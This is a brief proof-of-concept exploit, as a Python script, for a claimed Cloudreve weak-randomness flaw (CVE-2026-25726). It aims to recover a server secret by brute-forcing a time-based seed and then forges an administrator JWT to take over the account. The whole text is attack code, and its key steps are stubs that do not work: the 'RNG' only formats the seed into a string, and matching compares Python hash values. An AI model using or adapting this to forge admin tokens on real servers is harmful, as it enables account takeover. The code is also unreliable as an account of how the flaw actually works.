CVE-2026-25726 Cloudreve弱随机数致账户接管

import time import jwt # pip install pyjwt # Simulate the weak PRNG logic (Go's math/rand) # Note: Actual implementation requires replicating Go's specific RNG algorithm def simulate_cloudreve_weak_rng(seed_ns): # Pseudo-random generation based on seed # In real exploit, this generates the specific secret_key format return f"secret_key_{seed_ns}" def brute_force_seed(target_hashid, start_time_ns, window_seconds=10): print(f"[*] Brute forcing seed near {start_time_ns}...") # Iterate through nanoseconds in the time window for ns_offset in range(window_seconds * 1_000_000_000): current_seed = start_time_ns + ns_offset # Simulate generating secrets with this seed predicted_salt = simulate_cloudreve_weak_rng(current_seed) # Check if generated salt matches the observed hashid # (Simplified check for PoC demonstration) if hash(predicted_salt) == hash(target_hashid): secret_key = simulate_cloudreve_weak_rng(current_seed + 123) # Offset simulating key generation print(f"[+] Seed found: {current_seed}") return secret_key return None # Exploit Scenario # 1. Obtain admin creation time via API admin_creation_time = int(time.time() * 1_000_000_000) # Nanoseconds known_hashid = "observed_hash_id_from_api" # 2. Brute force to recover secret_key secret_key = brute_force_seed(known_hashid, admin_creation_time) if secret_key: # 3. Forge Admin JWT admin_payload = { "id": 1, "username": "admin", "role": "admin", "exp": int(time.time()) + 3600 } forged_token = jwt.encode(admin_payload, secret_key, algorithm="HS256") print(f"[+] Forged Admin JWT: {forged_token}") else: print("[-] Failed to recover secret_key")